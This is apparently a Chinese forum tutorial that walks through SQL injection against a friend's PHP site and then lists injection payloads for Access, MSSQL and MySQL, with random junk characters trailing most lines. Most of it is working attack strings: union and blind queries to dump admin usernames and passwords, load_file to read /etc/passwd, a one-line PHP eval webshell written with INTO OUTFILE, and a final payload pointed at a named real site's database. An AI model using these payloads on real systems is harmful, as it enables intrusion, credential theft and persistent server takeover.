我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~% R5 ?. m; |8 H+ t9 r3 L
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
. U, k4 ~; E& w7 f4 p' D3 u; @ b: L我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。" X6 G) c* v! [6 J
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)5 G8 {: M9 _( C" }7 G
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)/ ]9 _- A0 k" ]5 R8 X5 _
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:, M& Q7 E; x2 f" l2 `1 b( i( }
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
5 U e$ V) n; C% b2 a2 P b/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
w6 `% z; _# Y, f2 Z! |. q) [, q
' G7 J6 O/ D0 d- N! x2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,, d2 e" h1 e: { H* L: y. Y
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意1 M) U7 S/ k( l4 a! ]+ s7 w
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息% v. Y J1 E+ {' a8 f" {
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
- e( K! `' z8 P有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,/ z4 H; X7 s! i
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。- `. K. L4 \8 J$ G
我就用的是第二个思路,; f5 I: x; p9 X$ E
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- : g' e$ {/ `4 f& a9 u4 I4 ~, C
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
. |% J3 w2 ^% |2 M4 B1 R1 A, G提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
5 X8 F. Y# |4 m% L注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
6 |( h0 b; q7 ^$ R) t7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
) q, ?; B5 g7 O% O! h是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
8 B$ R* Q/ ^& i2 F9 f3 \! M1 ?. C提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --* J4 c2 A* Q O9 f/ [$ P
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
) z- ]: I- W1 E; N" z调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
5 e5 w1 u1 H# D下面是一些很普遍注入方式资料:
; z+ ]8 p7 z) Z3 j- Y4 u+ Y注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='0 u( Z/ O0 X+ a+ R
拆半法
2 q' a# A: f& I' W# [. U! p$ Z' t& M######################################8 p& B' i: ^" Y. q3 B) B* v; ?
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。8 W$ ]2 o' C2 p$ A9 m. ~
and exists (select * from admin)1 Z" c0 m- A" M: {+ L
and exists(select id from admin)& z; h" p! ~# v: k# K5 S2 v# ?7 f" c% X
and exists(select id from admin where id=1)/ x% Q/ r2 y5 [7 d2 Z, u+ \* t
and exists(select id from admin where id>1) + d* K' x8 m# d1 x/ F
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
3 z. i- ~; b- o" P- X9 Zand exists (select username from admin)0 }! k+ j0 C+ s3 d$ I2 P: i
and exists (select password from admin)
6 L+ q0 L( k6 V9 }$ _- @and exists (select id from admin where len(username)<10 and id=1): [0 `& C- p9 W4 d+ d+ i
and exists (select id from admin where len(username)>5 and id=1)
; x+ X0 |) C9 xand exists (select id from admin where len(username)=6 and id=1)
( `, F" R7 q9 H+ a9 Z Tand exists (select id from admin where len(password)<10 and id=1)9 }# R5 |2 m% X# Z
and exists (select id from admin where len(password)>5 and id=1)
" y% D- J2 g6 k ?" ?% Kand exists (select id from admin where len(password)=7 and id=1)
5 K4 m) F8 |. }0 \: ?and (select top 1 asc(mid(username,1,1)) from admin)=97
# t/ b% w- V. ~9 u$ {返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。0 M' ?) t6 u8 Y5 p! F8 F1 x6 x
猜第二位把username,1,1改成username,2,1就可以了。 u5 J6 d' j$ U6 A4 q5 O) X
猜密码把username改成password就OK了
7 N2 c6 G1 [) g. C4 X. _0 n1 x##################################################
" I3 B! n6 a6 D搜索型注入
& K5 Y: s8 m. Z& l; s6 G% }- ~##################################
1 O: L( \1 d4 t) p- A% a%' and 1=1 and '%'='1 k& |. m# [3 k- m
%' and exists (select * from admin) and '%'='2 o9 }* T! p' U; c2 ?
%' and exists(select id from admin where id=1) and '%'='
3 k6 h ^! H8 K! C, @" e8 S%' and exists (select id from admin where len(username)<10 and id=1) and '%'='4 W, C& S8 V# b6 a$ v! N4 b
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
, I5 d1 x- J( \+ o0 ]. K%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='( V' p& I. L; y z" d: j7 k
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='. c3 ]9 F" Z( M: j2 n+ s
对于MSSQL数据库,后面可以吧 and '%'='换成--
$ D: L) Q* m$ N! U$ C& F还有一点搜索型注入也可以使用union语句。3 @' O' m a) _% Z! X6 C' F
########################################################2 Y9 U" P( H2 n- W
联合查询。
& t3 Q8 T. d- k5 ]- _#####################################/ {- r: K. c% {; b! e8 Y8 l5 }
order by 107 h$ b# L8 O0 G+ V+ R) ?# |
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
2 ]" O! V, ` A1 S: Y- d2 \, y! gand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
- c2 u9 c# z y/ M8 X5 a# X1 Kand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
% i" h1 L6 u3 V( B: ?' f很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)$ q+ S h, Q9 ^) G! Y9 S& P
###################################
- o( k7 h( {8 N1 ^* Ycookie注入' p, `5 ` a" Y5 G9 J
###############################
) S E3 }: G# u/ m! j( Ahttp://www.******.com/shownews.asp?id=127
' k; s, N( d# Q8 }, z; Z+ chttp://www.******.com/shownews.asp
+ D7 u3 ]9 t6 M7 [; ^: I! {2 ealert(="id="+escape("127"));7 j8 Y0 n1 V9 O u% t0 U8 f& M0 D
alert(="id="+escape("127 and 1=1"));
# q& v m# x+ s6 z: C# v. B% d. Zalert(="id="+escape("127 order by 10"));
5 b; c w5 K3 p* malert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));* `) ?% \' t" }
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));7 W* Y* i9 Z$ E3 O" C; f
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。7 [# g8 M5 b3 V' X) L, U
###################################
9 n/ u9 g5 g0 g" O5 q" S1 s0 S偏移注入3 M+ }7 W; i- y$ X* t
###########################################################
. K3 p2 r9 c) sunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
1 G' z; I6 _$ T. o# m3 s, ~union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin* S2 l* ]1 X( Y' y, R5 S
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
, P O% F5 J- P3 e$ k4 `union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)5 ~2 d8 ~9 g/ u0 W& B9 ?
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
% j% E8 k6 Q! b7 C6 Runion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)/ t. I" } k& \+ s+ ]. ]" @1 b, U
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
: v" e, y4 h6 z6 e7 za.id=d.id)( ?1 G j# D8 G* V! o) H5 `. C
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)' k' B3 q6 b0 M
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 8 Y1 [% t$ Q7 [! ^4 E8 V! ?4 h C
/ E9 R$ i' Y9 x============================================================================================================
+ z q$ L B: {2 j1.判断版本
4 q r% u- {, Y3 x& M0 Xand ord(mid(version(),1,1))>51
' q; @' x! c! U0 N返回正常,说明大于4.0版本,支持ounion查询- f+ k/ j. z* j( m) z
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
, x/ B- F- X/ W0 C! [3 H! ^' ^and 2=4 union select 1,2,3,4,5,6,7,8,9--
7 u$ W) g! o1 S/ C+ S3.查看数据库版本及当前用户,( k% s+ G- L+ J
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
/ u" S. r' X3 V6 q数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,2 v0 }# e( Q: x/ ^6 w/ n* p$ l
4.判断有没有写权限
5 F) N! |8 N& V% Xand (select count(*) from MySQL.user)>0--
( W4 {3 \# G- v5 {1 E5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1, X; h$ M* f. R8 i% f
用不了这个命令,就学习土耳其黑客手法,如下$ ]8 r; u# g. }0 u. O( G' Q" F
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--. |" R& }! |: r$ E5 j
6.爆表,爆库
1 ?- b1 @2 Z/ l2 l, y3 ^0 O Fand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
# p A% X2 ]; x7 [7 _7.爆列名,爆表
9 i0 j& W m9 Gand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--* k- t5 \% r8 q) Z0 m9 Y+ j
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。$ W& ~' n2 c- w: o0 ]5 g( Y. [3 u
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
. R) H: u9 ~$ P5 c" e9.爆字段内容: |/ z6 v) {3 K- Z1 `
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
" B. ^9 L2 G9 ]- f: k5 G$ w0 Q1 Uhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |